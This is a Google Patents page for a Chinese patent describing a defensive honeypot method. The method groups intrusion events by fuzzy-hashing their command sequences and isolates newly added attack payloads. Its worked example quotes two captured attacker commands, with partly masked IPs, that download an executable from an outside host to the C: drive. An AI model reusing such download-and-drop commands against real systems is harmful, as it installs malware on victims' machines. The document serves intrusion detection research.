CN105488394A - 一种面向蜜罐系统进行入侵行为识别和分类的方法及系统 - Google Patents

一种面向蜜罐系统进行入侵行为识别和分类的方法及系统 Download PDF

Info

Publication number
CN105488394A
CN105488394A CN201410824968.6A CN201410824968A CN105488394A CN 105488394 A CN105488394 A CN 105488394A CN 201410824968 A CN201410824968 A CN 201410824968A CN 105488394 A CN105488394 A CN 105488394A
Authority
CN
China
Prior art keywords
event
intrusion
intrusion event
new
hash value
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Granted
Application number
CN201410824968.6A
Other languages
English (en)
Other versions
CN105488394B (zh
Inventor
徐宝旺
王维
肖新光
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Antiy Technology Group Co Ltd
Original Assignee
Harbin Antiy Technology Co Ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Harbin Antiy Technology Co Ltd filed Critical Harbin Antiy Technology Co Ltd
Priority to CN201410824968.6A priority Critical patent/CN105488394B/zh
Publication of CN105488394A publication Critical patent/CN105488394A/zh
Application granted granted Critical
Publication of CN105488394B publication Critical patent/CN105488394B/zh
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Landscapes

  • Data Exchanges In Wide-Area Networks (AREA)
  • Computer And Data Communications (AREA)

Abstract

本发明公开了一种面向蜜罐系统进行入侵行为识别和分类的方法及系统，首先，计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；捕获新入侵事件；计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。本发明技术方案不仅可以有效拦截入侵事件，同时可以对新入侵事件进行类型识别，以便进行深入分析。

Description

一种面向蜜罐系统进行入侵行为识别和分类的方法及系统
技术领域
本发明涉及网络安全技术领域，尤其涉及一种面向蜜罐系统进行入侵行为识别和分类的方法及系统。
背景技术
采用蜜罐技术可以一定程度地抵御未知攻击，并分担其它业务系统的受攻击风险。在网络安全领域的蜜罐一般指通过部署模拟正常的，有价值的网络节点，诱使黑客或恶意程序攻击，以暴露其黑客行径和攻击手段的目的。
当黑客对蜜罐系统进行入侵后，蜜罐会记录下黑客对系统发出的所有指令，这个指令序列我们称之为黑客的行为轨迹，它将作为入侵事件进行评估，网络环境分析的重要证据。
通过搭建模型系统，在真实的网络环境中进行采样，我们发现，存在大量的恶意事件都是以相似的手段进行入侵的，它们或是基于某类入侵框架工具，或是某些病毒生成器生产的恶意代码的通用行为，这类攻击事件往往仅仅在有效的攻击载荷上存在差异，此类事件作为证据属性的重要性是毋庸置疑的，但是相比较更为重要的具有首发性，个性化，针对性的事件也会淹没其中，如何将我们的关注点从泛型事件聚焦到此类具有首发性，个性化，针对性的事件上来将成为重中之重。
发明内容
本发明提供了一种面向蜜罐系统进行入侵行为识别和分类的方法及系统，针对现有蜜罐系统存在的问题，提出基于全时序指令的模糊哈希值比较的方式，来识别新入侵事件是已有类型攻击事件，还是首发事件，从而辅助评估入侵事件的严重等级。
本发明采用如下方法来实现：一种面向蜜罐系统进行入侵行为识别和分类的方法，包括：
计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；
捕获新入侵事件；
计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；
判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。
进一步地，若判定新入侵事件与所述已入侵事件属于同类型事件，则还包括：
计算新入侵事件的各单步指令的模糊哈希值，并与所述已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。
进一步地，将新入侵事件的全时序指令和各单步指令的模糊哈希值录入事件信息库。
本发明采用如下系统来实现：一种面向蜜罐系统进行入侵行为识别和分类的系统，包括：
事件信息库生成模块，用于计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；
入侵事件捕获模块，用于捕获新入侵事件；
相似度比较模块，用于计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；
类型识别模块，用于判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。
进一步地，若类型识别模块判定新入侵事件与所述已入侵事件属于同类型事件，则还包括新增攻击载荷定位模块：
计算新入侵事件的各单步指令的模糊哈希值，并与所述已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。
进一步地，将新入侵事件的全时序指令和各单步指令的模糊哈希值录入事件信息库。
综上所述，本发明提供了一种面向蜜罐系统进行入侵行为识别和分类的方法及系统，通过计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值形成事件信息库；如果捕获到新入侵事件，则计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的全时序指令的模糊哈希值进行比较，若存在相似度达到预设阈值的已入侵事件，则认为新入侵事件与所述已入侵事件为同类型事件，否则认定为首发事件。
本发明的有益效果为：通过计算已入侵事件和新入侵事件的全时序指令的模糊哈希值，从而利用模糊哈希值之间的比较来判断新入侵事件是否是已知类型事件，本发明通过量化比较的方法，有效感知首发事件，从而及时提交给应急响应人员进行分析。
附图说明
为了更清楚地说明本发明的技术方案，下面将对实施例中所需要使用的附图作简单地介绍，显而易见地，下面描述中的附图仅仅是本发明中记载的一些实施例，对于本领域普通技术人员来讲，在不付出创造性劳动的前提下，还可以根据这些附图获得其他的附图。
图1为本发明提供的一种面向蜜罐系统进行入侵行为识别和分类的方法实施例流程图；
图2为本发明提供的一种面向蜜罐系统进行入侵行为识别和分类的系统实施例结构图。
具体实施方式
本发明给出了一种面向蜜罐系统进行入侵行为识别和分类的方法及系统，为了使本技术领域的人员更好地理解本发明实施例中的技术方案，并使本发明的上述目的、特征和优点能够更加明显易懂，下面结合附图对本发明中技术方案作进一步详细的说明：
本发明首先提供了一种面向蜜罐系统进行入侵行为识别和分类的方法实施例，如图1所示，包括：
S101计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；
例如：我们的蜜罐系统捕获到了一次完整的入侵行为，它用38步向蜜罐系统发送了38条指令，我们采用开源工具ssdeep中实现的模糊哈希算法，将这个具有时序性的38条语句作为对象进行计算模糊哈希值，假定为fhash_all。然后分别对这38条指令单独计算模糊哈希，假定为fhas_1,fhas_2……fhas_38。这些哈希值将作为我们队此次事件的量化依据；
上述入侵行为作为已入侵事件，已入侵事件可以为一个或者多个；
S102捕获新入侵事件；
S103计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；
例如：我们又捕获了一次新入侵事件，同样它也使用38步向蜜罐系统发送了38条指令，我们采用上面的方法得到了本次具有时序性的38条语句作为对象进行计算模糊哈希，假定为fhash_all’；
S104判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。
例如：通过对比fhash_all和fhash_all’，发现他们的相似度很高；因此，认为这两次攻击事件属于同类型事件；
其中，所述首发事件是指在本系统的范围之内，此类型的攻击事件在此之前系统内没有发生过。
优选地，若判定新入侵事件与所述已入侵事件属于同类型事件，则还包括：
计算新入侵事件的各单步指令的模糊哈希值，并与所述已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。
例如：针对上述例子中的新入侵事件的38条指令单独计算模糊哈希，假定为fhas_1’,fhas_2’……fhas_38’；将fhas_1’,fhas_2’……fhas_38’分别跟fhas_1,fhas_2……fhas_38按照笛卡尔积的方式两两进行相似度比较，发现仅fhsah_34’跟fhas_1,fhas_2……fhas_38中的任何一个都不符合相似度关联；
对比发现两次事件的仅在一条指令上存在差异分别是“selectxpdl3('http://117.XX.XX.173:3389/04.exe','c:\\isetup.exe')”和“selectxpdl3('http://218.XX.XX.238:7234/kfar.exe','c:\\isetup.exe')”。从中可以看出两个入侵行为手段相同，仅仅在下载恶意代码的指令上存在差异。
优选地，将新入侵事件的全时序指令和各单步指令的模糊哈希值录入事件信息库。
本发明还提供了一种面向蜜罐系统进行入侵行为识别和分类的系统实施例，如图2所示，包括：
事件信息库生成模块201，用于计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；
入侵事件捕获模块202，用于捕获新入侵事件；
相似度比较模块203，用于计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；
类型识别模块204，用于判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。
优选地，若类型识别模块判定新入侵事件与所述已入侵事件属于同类型事件，则还包括新增攻击载荷定位模块：
计算新入侵事件的各单步指令的模糊哈希值，并与所述已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。
优选地，将新入侵事件的全时序指令和各单步指令的模糊哈希值录入事件信息库。
其中，上述方法和系统实施例中所述各单步指令，可以为每个步骤执行的指令，或者某些指令的集合。
如上所述，本发明给出了一种面向蜜罐系统进行入侵行为识别和分类的方法及系统实施例，通过计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，对于捕获到的新入侵事件，同样计算其全时序指令的模糊哈希值，并将新入侵事件的模糊哈希值与已入侵事件的模糊哈希值进行比较，若与某个或者某些已入侵事件的相似度达到预设阈值，则认为新入侵事件与所述已入侵事件为同类型事件，否则认为新入侵事件为首发事件。更优选地，对于判定为同类型事件的新入侵事件，可以进行进一步识别，计算新入侵事件的各单步指令的模糊哈希值，与同类型的已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。本发明所述的技术方案不仅能够及时感知首发事件，并能进一步有效识别已入侵事件的新增攻击载荷。
以上实施例用以说明而非限制本发明的技术方案。不脱离本发明精神和范围的任何修改或局部替换，均应涵盖在本发明的权利要求范围当中。

Claims (6)

1.一种面向蜜罐系统进行入侵行为识别和分类的方法，其特征在于，包括：
计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；
捕获新入侵事件；
计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；
判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。
2.如权利要求1所述的方法，其特征在于，若判定新入侵事件与所述已入侵事件属于同类型事件，则还包括：
计算新入侵事件的各单步指令的模糊哈希值，并与所述已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。
3.如权利要求2所述的方法，其特征在于，将新入侵事件的全时序指令和各单步指令的模糊哈希值录入事件信息库。
4.一种面向蜜罐系统进行入侵行为识别和分类的系统，其特征在于，包括：
事件信息库生成模块，用于计算所有已入侵事件的全时序指令和各单步指令的模糊哈希值，生成事件信息库；
入侵事件捕获模块，用于捕获新入侵事件；
相似度比较模块，用于计算新入侵事件的全时序指令的模糊哈希值，并与事件信息库中的所有全时序指令的模糊哈希值进行相似度比较；
类型识别模块，用于判断是否存在相似度达到预设阈值的已入侵事件，若存在，则新入侵事件与所述已入侵事件属于同类型事件，否则新入侵事件为首发事件。
5.如权利要求4所述的系统，其特征在于，若类型识别模块判定新入侵事件与所述已入侵事件属于同类型事件，则还包括新增攻击载荷定位模块：
计算新入侵事件的各单步指令的模糊哈希值，并与所述已入侵事件的各单步指令的模糊哈希值，按照笛卡尔积的方式两两进行相似度比较，找出新入侵事件中与所述已入侵事件的各单步指令都不具备关联的部分，则为该同类型事件的新增攻击载荷。
6.如权利要求5所述的系统，其特征在于，将新入侵事件的全时序指令和各单步指令的模糊哈希值录入事件信息库。
CN201410824968.6A 2014-12-27 2014-12-27 一种面向蜜罐系统进行入侵行为识别和分类的方法及系统 Active CN105488394B (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN201410824968.6A CN105488394B (zh) 2014-12-27 2014-12-27 一种面向蜜罐系统进行入侵行为识别和分类的方法及系统

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN201410824968.6A CN105488394B (zh) 2014-12-27 2014-12-27 一种面向蜜罐系统进行入侵行为识别和分类的方法及系统

Publications (2)

Publication Number Publication Date
CN105488394A true CN105488394A (zh) 2016-04-13
CN105488394B CN105488394B (zh) 2018-06-12

Family

ID=55675368

Family Applications (1)

Application Number Title Priority Date Filing Date
CN201410824968.6A Active CN105488394B (zh) 2014-12-27 2014-12-27 一种面向蜜罐系统进行入侵行为识别和分类的方法及系统

Country Status (1)

Country Link
CN (1) CN105488394B (zh)

Cited By (3)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN108092948A (zh) * 2016-11-23 2018-05-29 中国移动通信集团湖北有限公司 一种网络攻击模式的识别方法和装置
CN111030834A (zh) * 2019-04-26 2020-04-17 北京安天网络安全技术有限公司 一种基于载荷传播行为的威胁预测方法、装置及存储设备
CN113923000A (zh) * 2021-09-29 2022-01-11 海尔数字科技(青岛)有限公司 一种安全处理方法、装置、电子设备、及存储介质

Citations (8)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN1936910A (zh) * 2005-11-16 2007-03-28 白杰 未知病毒程序的识别及清除方法
US20070094734A1 (en) * 2005-09-29 2007-04-26 Mangione-Smith William H Malware mutation detector
CN101582817A (zh) * 2009-06-29 2009-11-18 华中科技大学 网络交互行为模式提取及相似性分析方法
CN103150509A (zh) * 2013-03-15 2013-06-12 长沙文盾信息技术有限公司 一种基于虚拟执行的病毒检测系统
CN103268449A (zh) * 2012-12-28 2013-08-28 武汉安天信息技术有限责任公司 一种手机恶意代码的高速检测方法和系统
CN103581104A (zh) * 2012-07-18 2014-02-12 江苏中科慧创信息安全技术有限公司 一种基于行为捕捉的主动诱捕方法
CN103761483A (zh) * 2014-01-27 2014-04-30 百度在线网络技术（北京）有限公司 恶意代码的检测方法及装置
CN104091121A (zh) * 2014-06-12 2014-10-08 上海交通大学 对Android重打包恶意软件的恶意代码的检测、切除和恢复的方法

Patent Citations (8)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20070094734A1 (en) * 2005-09-29 2007-04-26 Mangione-Smith William H Malware mutation detector
CN1936910A (zh) * 2005-11-16 2007-03-28 白杰 未知病毒程序的识别及清除方法
CN101582817A (zh) * 2009-06-29 2009-11-18 华中科技大学 网络交互行为模式提取及相似性分析方法
CN103581104A (zh) * 2012-07-18 2014-02-12 江苏中科慧创信息安全技术有限公司 一种基于行为捕捉的主动诱捕方法
CN103268449A (zh) * 2012-12-28 2013-08-28 武汉安天信息技术有限责任公司 一种手机恶意代码的高速检测方法和系统
CN103150509A (zh) * 2013-03-15 2013-06-12 长沙文盾信息技术有限公司 一种基于虚拟执行的病毒检测系统
CN103761483A (zh) * 2014-01-27 2014-04-30 百度在线网络技术（北京）有限公司 恶意代码的检测方法及装置
CN104091121A (zh) * 2014-06-12 2014-10-08 上海交通大学 对Android重打包恶意软件的恶意代码的检测、切除和恢复的方法

Cited By (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN108092948A (zh) * 2016-11-23 2018-05-29 中国移动通信集团湖北有限公司 一种网络攻击模式的识别方法和装置
CN108092948B (zh) * 2016-11-23 2021-04-02 中国移动通信集团湖北有限公司 一种网络攻击模式的识别方法和装置
CN111030834A (zh) * 2019-04-26 2020-04-17 北京安天网络安全技术有限公司 一种基于载荷传播行为的威胁预测方法、装置及存储设备
CN111030834B (zh) * 2019-04-26 2023-09-05 北京安天网络安全技术有限公司 一种基于载荷传播行为的威胁预测方法、装置及存储设备
CN113923000A (zh) * 2021-09-29 2022-01-11 海尔数字科技(青岛)有限公司 一种安全处理方法、装置、电子设备、及存储介质
CN113923000B (zh) * 2021-09-29 2023-11-03 卡奥斯数字科技(青岛)有限公司 一种安全处理方法、装置、电子设备、及存储介质

Also Published As

Publication number Publication date
CN105488394B (zh) 2018-06-12

Similar Documents

Publication Publication Date Title
CN106790186B (zh) 基于多源异常事件关联分析的多步攻击检测方法
Feng et al. Modeling and stability analysis of worm propagation in wireless sensor network
US20140222813A1 (en) Collecting data in internet of things
KR20200052881A (ko) 멀웨어 호스트 넷플로우 분석 시스템 및 방법
EP2924943B1 (en) Virus detection method and device
CN105264861A (zh) 用于检测多阶段事件的方法和设备
CN105516177B (zh) 基于sdn和nfv的5g网络多级攻击缓解方法
US9894097B2 (en) Method and device for identifying abnormal application
CN104426906A (zh) 识别计算机网络内的恶意设备
CN104008332A (zh) 一种基于Android平台的入侵检测系统
CN103077352B (zh) 一种基于云平台的程序行为分析的主动防御方法
EP2854362B1 (en) Software network behavior analysis and identification system
CN111049781B (zh) 一种反弹式网络攻击的检测方法、装置、设备及存储介质
CN104144164A (zh) 基于网络入侵的扩展防御方法
CN105447385B (zh) 一种多层次检测的应用型数据库蜜罐实现系统及方法
CN103916288A (zh) 一种基于网关与本地的Botnet检测方法及系统
CN105488394A (zh) 一种面向蜜罐系统进行入侵行为识别和分类的方法及系统
Dinh et al. Dynamic economic-denial-of-sustainability (EDoS) detection in SDN-based cloud
CN116781412A (zh) 一种基于异常行为的自动防御方法
Wu et al. Bayesian model updating method based android malware detection for IoT services
CN113645181B (zh) 一种基于孤立森林的分布式规约攻击检测方法及系统
CN112738003A (zh) 恶意地址管理方法和装置
Kumar et al. Understanding the behaviour of android sms malware attacks with real smartphones dataset
CN113965406A (zh) 网络阻断方法、装置、电子装置和存储介质
CN110099041A (zh) 一种物联网防护方法及设备、系统

Legal Events

Date Code Title Description
C06 Publication
PB01 Publication
C10 Entry into substantive examination
SE01 Entry into force of request for substantive examination
GR01 Patent grant
GR01 Patent grant
CP03 Change of name, title or address
CP03 Change of name, title or address

Address after: 150010 Heilongjiang science and technology innovation city, Harbin new and high tech Industrial Development Zone, No. 7 building, innovation and entrepreneurship Plaza, 838

Patentee after: Harbin antiy Technology Group Limited by Share Ltd

Address before: 150090 room 506, Hongqi Street, Nangang District, Harbin Development Zone, Heilongjiang, China, 162

Patentee before: Harbin Antiy Technology Co., Ltd.

PE01 Entry into force of the registration of the contract for pledge of patent right

Denomination of invention: Method and system for carrying out intrusion behavior identification and classification on hotpot system

Effective date of registration: 20190718

Granted publication date: 20180612

Pledgee: Bank of Longjiang, Limited by Share Ltd, Harbin Limin branch

Pledgor: Harbin antiy Technology Group Limited by Share Ltd

Registration number: 2019230000007

PE01 Entry into force of the registration of the contract for pledge of patent right
CP01 Change in the name or title of a patent holder

Address after: 150010 Heilongjiang science and technology innovation city, Harbin new and high tech Industrial Development Zone, No. 7 building, innovation and entrepreneurship Plaza, 838

Patentee after: Antan Technology Group Co.,Ltd.

Address before: 150010 Heilongjiang science and technology innovation city, Harbin new and high tech Industrial Development Zone, No. 7 building, innovation and entrepreneurship Plaza, 838

Patentee before: Harbin Antian Science and Technology Group Co.,Ltd.

CP01 Change in the name or title of a patent holder
PC01 Cancellation of the registration of the contract for pledge of patent right

Date of cancellation: 20211119

Granted publication date: 20180612

Pledgee: Bank of Longjiang Limited by Share Ltd. Harbin Limin branch

Pledgor: Harbin Antian Science and Technology Group Co.,Ltd.

Registration number: 2019230000007

PC01 Cancellation of the registration of the contract for pledge of patent right